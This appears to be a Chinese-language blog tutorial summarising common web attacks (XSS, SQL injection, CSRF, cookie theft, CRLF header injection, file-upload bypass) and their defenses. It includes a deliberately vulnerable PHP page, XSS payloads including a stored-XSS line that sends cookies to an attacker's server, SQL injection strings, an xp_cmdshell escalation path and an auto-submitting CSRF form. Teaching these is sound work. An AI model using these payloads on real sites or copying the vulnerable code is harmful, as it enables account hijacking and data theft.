WEB網站常見的攻擊方法總結與原理分析

一個網站建立以後,如果不注意安全方面的問題,很容易被人攻擊,下面就討論一下幾種常見的漏洞的簡介與原理分析

一.跨站腳本攻擊(xss)

惡意攻擊者通過往Web頁面裏插入惡意html代碼，當用戶瀏覽該頁之時，嵌入其中Web裏面的html代碼會被執行，從而達到惡意攻擊用戶的特殊目的。下面我們來分析一下xss的特點：

1、耗時間
2、有一定機率不成功
3、沒有相應的軟件來完成自動化攻擊
4、前期需要基本的html、js功底，後期需要紮實的html、js、actionscript2/3.0等語言的功底
5、是一種被動的攻擊手法
6、對website有http-only、crossdomian.xml沒有用
但是這些並沒有影響黑客對此漏洞的偏愛，原因不需要多，只需要一個。

Xss幾乎每個網站都存在，google、baidu、360等都存在。

下面來看一個例子：

<span style="font-size:14px;"><html>
<head>
    <meta http-equiv="Content-Type" content="text/html;charset="utf-8">
	<title>xss原理重現</title>
</head>
<body>
    <center>
	<h6>把我們輸入的字符串 輸出到input裏的value屬性裏</h6>
    <form action=""  method="POST">
	<h6>請輸入你想顯現的字符串</h6>
	<input type="text" name="xss_input" value="輸入"><br>
	<input type="submit">
	</form>
	<hr>
<?php
header("Content-Type:text/html;charset=utf-8");
$xss=$_POST['xss_input'];
if(isset($xss)){  
echo '<input type="text" value="'.$xss.'">';  
}else{  
echo '<input type="type" value="輸出">';  
}  
?>
</center>
</body>
</html></span>

我們在輸入框裏輸入 "><script>alert('xss')</script>

分析這一段的代碼，前面的">是爲了閉合前面的input，這個輸入就可以使彈窗出現

我們也可以通過輸入 " οnclick="alert('xss')
因爲onclick是鼠標點擊事件，也就是說當你的鼠標點擊第二個input輸入框的時候，
就會觸發onclick事件，然後執行

Js可以幹很多的事，可以獲取cookies(對http-only沒用)、控制用戶的動作(發帖、私信什麼的)等等。

比如我們在網站的留言區輸入下面的代碼：<script src="js_url"></script>
當管理員進後臺瀏覽留言的時候，就會觸發，然後管理員的cookies和後臺地址還有管理員瀏覽器版本等等你都可以獲取到了

那假如說網站禁止過濾了script 這時該怎麼辦呢，記住一句話，這是我總結出來的“xss就是在頁面執行你想要的js”不用管那麼多，只要能運行我們的js就OK，比如用img標籤或者a標籤。我們可以這樣寫
<img src=1 οnerrοr=alert('xss')>當找不到圖片名爲1的文件時，執行alert('xss')
<a href=javascrip:alert('xss')>s</a> 點擊s時運行alert('xss')
<iframe src=javascript:alert('xss');height=0 width=0 /><iframe>利用iframe的src來彈窗

下面是XSS攻擊方法：
Stored XSS

       Stored XSS是存儲式XSS漏洞，由於其攻擊代碼已經存儲到服務器上或者數據庫中，所以受害者是很多人。

       場景二：

       a.com可以發文章，我登錄後在a.com中發佈了一篇文章，文章中包含了惡意代碼，
       <script>window.open(“www.b.com?param=”+document.cookie)</script>，保存文章。
       這時Tom和Jack看到了我發佈的文章，當在查看我的文章時就都中招了，
       他們的cookie信息都發送到了我的服務器上，攻擊成功！這個過程中，受害者是多個人。
       Stored XSS漏洞危害性更大，危害面更廣。

XSS防禦方法：
完善的過濾體系

       永遠不相信用戶的輸入。需要對用戶的輸入進行處理，只允許輸入合法的值，其它值一概過濾掉。
Html encode

       假如某些情況下，我們不能對用戶數據進行嚴格的過濾，那我們也需要對標籤進行轉換。

less-than character (<)       <
greater-than character (>)    >

ampersand character (&)       &

double-quote character (")    "

space character( )             

Any ASCII code character whose code is greater-than or equal to 0x80        &#<number>, where <number> is the ASCII character value.
      比如用戶輸入：<script>window.location.href=”http://www.baidu.com”;</script>，保存後最終存儲的會是：
      <script>window.location.href="http://www.baidu.com"</script>在展現時瀏覽器會對這些字符轉換成文本內容顯示，而不是一段可執行的代碼。

其它
       下面提供兩種Html encode的方法。

    1.使用Apache的commons-lang.jar

    StringEscapeUtils.escapeHtml(str);// 漢字會轉換成對應的ASCII碼，空格不轉換

   2.自己實現轉換，只轉換部分字符

二.SQL注入(sql injection)

所謂SQL注入，就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串，最終達到欺騙服務器執行惡意的SQL命令。具體來說，它是利用現有應用程序，將（惡意）的SQL命令注入到後臺數據庫引擎執行的能力，它可以通過在Web表單中輸入（惡意）SQL語句得到一個存在安全漏洞的網站上的數據庫，而不是按照設計者意圖去執行SQL語句。

先舉個例子，你要登錄一個網站，上面讓你輸入用戶名字和密碼。那麼，假如你輸入的用戶名是 admin ，但是你不知道密碼，你就輸入了一個 1' OR '1' = '1 ，那麼，你就提交了兩個參數給服務器。假如，服務器拿這兩個參數拼SQL語句：SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = '/*param1*/'AND T.PASSWORD = '/*param2*/'
那麼，你提交的兩個參數就使SQL文變成了：SELECT T.* FROM XXX_TABLE TWHERE T.USER_ID = 'admin'AND T.PASSWORD = '1' OR '1' = '1'
那麼，這個SQL原來的校驗功能就被你繞過去了，你的這種行爲就稱之爲SQL注入

爲了成功注入SQL命令，攻擊者必須將開發者現有的sql命令轉化成合法的sql語句，當然，要盲注總是有難度的，但一般都是

'OR1=1–

或者

')OR1=1--

總結一下SQL注入的思路

1. SQL注入漏洞的判斷，即尋找注入點
2. 判斷後臺數據庫類型
3. 確定XP_CMDSHELL可執行情況；若當前連接數據的帳號具有SA權限，
且master.dbo.xp_cmdshell擴展存儲過程(調用此存儲過程可以直接使用操作系統的shell)能夠正確執行，則整個計算機可以通過幾種方法完全控制，也就完成了整個注入過程
否則繼續：
1. 發現WEB虛擬目錄
2. 上傳ASP木馬；
3. 得到管理員權限

對SQL注入的防禦方法：

1.使用參數化的過濾性語句

2.避免出現詳細的錯誤信息

3.使用專業的漏洞掃描工具

4.避免使用解釋程序

5.企業要web應用程序開發過程的所有階段實施代碼的安全檢查

三.跨站請求攻擊(CSRF)

儘管聽起來像跨站腳本( XSS），但它與XSS非常不同，並且攻擊方式幾乎相左。XSS利用站點內的信任用戶，而CSRF則通過僞裝來自受信任用戶的請求來利用受信任的網站。與XSS攻擊相比，CSRF攻擊往往不大流行（因此對其進行防範的資源也相當稀少）和難以防範，所以被認爲比XSS更具危險性。

簡單來說就是，攻擊者盜用了你的身份，以你的名義發送惡意請求。CSRF能夠做的事情包括：以你名義發送郵件，發消息，盜取你的賬號，甚至於購買商品，虛擬貨幣轉賬......造成的問題包括：個人隱私泄露以及財產安全。

下圖簡單闡述了CSRF的原理

幾種類型的CSRF

1.GET類型的CSRF

<img src=http://wooyun.org/csrf.php?xx=11 />

在訪問含有這個img的頁面後，成功向http://wooyun.org/csrf.php?xx=11發出了一次HTTP請求。所以，如果將該網址替換爲存在GET型CSRF的地址，就能完成攻擊了

2.POST類型的CSRF

<form action=http://wooyun.org/csrf.php method=POST>
<input type="text" name="xx" value="11" />
</form>
<script> document.forms[0].submit(); </script>

訪問該頁面後，表單會自動提交，相當於模擬用戶完成了一次POST操作

CSRF的防禦

　 CSRF的防禦可以從服務端和客戶端兩方面着手，防禦效果是從服務端着手效果比較好，現在一般的CSRF防禦也都在服務端進行。

1.服務端進行CSRF防禦

服務端的CSRF方式方法很多樣，但總的思想都是一致的，就是在客戶端頁面增加僞隨機數。

　　(1).Cookie Hashing(所有表單都包含同一個僞隨機值)：

這可能是最簡單的解決方案了，因爲攻擊者不能獲得第三方的Cookie(理論上)，所以表單中的數據也就構造失敗了

<span style="font-size:14px;"><?php
　　　　//構造加密的Cookie信息
　　　　$value = “DefenseSCRF”;
　　　　setcookie(”cookie”, $value, time()+3600);
?></span>

在表單裏增加Hash值，以認證這確實是用戶發送的請求。

<span style="font-size:14px;">　　<?php
　　　　$hash = md5($_COOKIE['cookie']);
　　?>
　　<form method=”POST” action=”transfer.php”>
　　　　<input type=”text” name=”toBankId”>
　　　　<input type=”text” name=”money”>
　　　　<input type=”hidden” name=”hash” value=”<?=$hash;?>”>
　　　　<input type=”submit” name=”submit” value=”Submit”>
　　</form></span>

然後在服務器端進行Hash值驗證

<span style="font-size:14px;">   <?php
　　      if(isset($_POST['check'])) {
     　　      $hash = md5($_COOKIE['cookie']);
          　　 if($_POST['check'] == $hash) {
               　　 doJob();
　　           } else {
　　　　　　　　//...
          　　 }
　　      } else {
　　　　　　//...
　　      }
   ?></span>

四.COOKIE攻擊

通過Java Script非常容易訪問到當前網站的cookie。你可以打開任何網站，然後在瀏覽器地址欄中輸入：javascript:alert(doucment.cookie),立刻就可以看到當前站點的cookie（如果有的話）。攻擊者可以利用這個特性來取得你的關鍵信息。例如，和XSS攻擊相配合，攻擊者在你的瀏覽器上執行特定的Java Script腳本，取得你的cookie。假設這個網站僅依賴cookie來驗證用戶身份，那麼攻擊者就可以假冒你的身份來做一些事情。
現在多數瀏覽器都支持在cookie上打上HttpOnly的標記,凡有這個標誌的cookie就無法通過Java Script來取得,如果能在關鍵cookie上打上這個標記，就會大大增強cookie的安全性

以下是獲取Cookie信息的主要途徑：
1. 直接讀取磁盤的Cookie文件，Windows系統的Cookie信息存放目錄是C:/Documents and Settings/%yourname%/Cookies,FireFox的Cookie信息是在FireFox的Profiles目錄中。
2. 使用網絡嗅探器來獲取網絡上船速的Cookie
3. 使用一些Cookie管理工具獲取內存或者文件系統中的cookie
4. 使用跨站腳本來盜取別人的cookie

假如我們成功獲取了cookie信息，那下一步理所當然地就是要進行攻擊了，常用的攻擊步驟有：
1. 查看Cookie信息，對Cookie信息進行分析
2. 修改Cookie中的邏輯判斷類信息，比如一些boolean標誌，01標誌等等，訪問服務器，觀察服務器的反應。
3. 修改Cookie信息中數字類型的信息，比如id, number等等這類的值，觀察服務器反應。
4. 獲取別人的Cookie信息，然後根據別人的Cookie信息修改自己本地的Cookie信息，看服務器是否會把自己識別爲其他人。

那我們應該如何防範利用Cookie進行的攻擊呢？
1. 不要在Cookie中保存敏感信息
2. 不要在Cookie中保存沒有經過加密的或者容易被解密的敏感信息
3. 對從客戶端取得的Cookie信息進行嚴格校驗
4. 記錄非法的Cookie信息進行分析，並根據這些信息對系統進行改進。
5. 使用SSL/TLS來傳遞Cookie信息

五.HTTP Heads攻擊

凡是用瀏覽器查看任何WEB網站，無論你的WEB網站採用何種技術和框架，都用到了HTTP協議.HTTP協議在Response header和content之間，有一個空行，即兩組CRLF（0x0D 0A）字符。這個空行標誌着headers的結束和content的開始。“聰明”的攻擊者可以利用這一點。只要攻擊者有辦法將任意字符“注入”到headers中，這種攻擊就可以發生

   以登陸爲例:有這樣一個url:

http://localhost/login?page=http%3A%2F%2Flocalhost%2Findex

當登錄成功以後，需要重定向回page參數所指定的頁面。下面是重定向發生時的response headers.

HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/index

假如把URL修改一下，變成這個樣子：

http://localhost/login?page=http%3A%2F%2Flocalhost%2Fcheckout%0D%0A%0D%0A%3Cscript%3Ealert%28%27hello%27%29%3C%2Fscript%3E

那麼重定向發生時的reponse會變成下面的樣子：
HTTP/1.1 302 Moved Temporarily
Date: Tue, 17 Aug 2010 20:00:29 GMT
Server: Apache mod_fcgid/2.3.5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635
Location: http://localhost/checkout<CRLF>
<CRLF>
<script>alert('hello')</script>

       這個頁面可能會意外地執行隱藏在URL中的javascript。類似的情況不僅發生在重定向（Location header）上，也有可能發生在其它headers中，如Set-Cookie header。這種攻擊如果成功的話，可以做很多事，例如：執行腳本、設置額外的cookie（<CRLF>Set-Cookie: evil=value）等。
     避免這種攻擊的方法，就是過濾所有的response headers，除去header中出現的非法字符，尤其是CRLF

六.上傳文件攻擊

文件上傳漏洞就是對用戶上傳的文件類型判斷不完善，導致攻擊者上傳非法類型的文件，從而對網站進行攻擊。比如可
傳一個網頁木馬，如果存放文件的目錄剛好有執行腳本的權限，那麼攻擊者就可以得到一個webshell。

攻擊者要想成功實施文件上傳攻擊，必須要滿足以下三個條件：

1.可以上傳任意腳本文件，且上傳的文件能夠被Web服務器解析執行，具體來說就是存放上傳文件的目錄要有執行腳本的權限。

2.用戶能夠通過Web訪問這個文件。如果文件上傳後，不能通過Web訪問，那麼也不能成功實施攻擊。

3.要知道文件上傳到服務器後的存放路徑和文件名稱，因爲許多Web應用都會修改上傳文件的文件名稱，那麼這時就需要結合其他漏洞去獲取到這些信息。如果不知道上傳文件的存放路徑和文件名稱，即使你上傳了也無法訪問。

主流文件上傳檢測方式概述

主流的文件上傳檢測方式有以下五種：

1.客戶端javascript檢測

客戶端檢測通常在上傳頁面裏含有專門檢測文件上傳的javascript代碼，在文件被上傳之前進行檢測，最常見的就是檢測上傳文件的文件類型和大小是否合法。

2.服務端MIME類型檢測

這類檢測方法通過檢查http包的Content-Type字段中的值來判斷上傳文件是否合法。

3.服務端文件擴展名檢測

這類檢測方法通過在服務端檢測上傳文件的擴展名來判斷文件是否合法。

4.服務端目錄路徑檢測

這類檢測一般通過檢測路徑是否合法來判斷。

5.服務端文件內容檢測

而要怎樣才能繞過這些檢測方法呢？

1.繞過客戶端javascript檢測

這種檢測方法是最不安全的，也是最容易被攻擊者繞過的。Web應用不應只採用這一種手段檢測上傳文件，但可以作爲一種輔助手段。因爲採用客戶端javascript檢測可以增強應用對用戶的友好度。由於javascript檢測是在客戶端實現的，所以我們完全能夠控制它。可以在瀏覽器端禁用js腳本，比如在FireFox上安裝FireBug這一插件就可以實現這一功能。另外一種是通過代理工具來實現，下面介紹利用Burp Suite來繞過客戶端javascript檢測。Burp Suite不僅僅只是一個代理工具，更是一款強大的網絡滲透利器。

那麼如何設計出一個安全的文件上傳功能呢？下面我們就來總結一下。

1.設置保存上傳文件的目錄爲不可執行

只要Web服務器無法解析該目錄下的文件，即使攻擊者上傳了腳本文件，服務器本身也不會受到影響，此點至關重要。

2.判斷文件類型

在判斷文件類型時，可以結合使用MIME Type、後綴檢查等方式。在文件類型檢查中，強烈建議採用白名單的方式。此外，對於圖片的處理可以使用壓縮函數或者resize函數，在處理圖片的同時破壞圖片中可能包含的惡意代碼。

3.使用隨機數改寫文件名和文件路徑

文件上傳如果要執行代碼，則需要用戶能夠訪問到這個文件。在某些環境中，用戶能上傳，但不能訪問。如果採用隨機數改寫了文件名和路徑，將極大地增加攻擊成本。與此同時，像webshell.asp;1.jpg這種文件，將因爲文件名被改寫而無法成功實施攻擊。

WEB網站常見的攻擊方法總結與原理分析

WEB網站常見的攻擊方法總結與原理分析

關於php性能提升

c++大整數類的幾種實現方法與解析

android中fragment實現

php實現斐波那契數列的三種方法，遞歸回調和迭代器和數組之間性能對比

https://yachay.unat.edu.pe/blog/index.php?comment_area=format_blog&comment_component=blog&comment_co

linux以太網驅動總結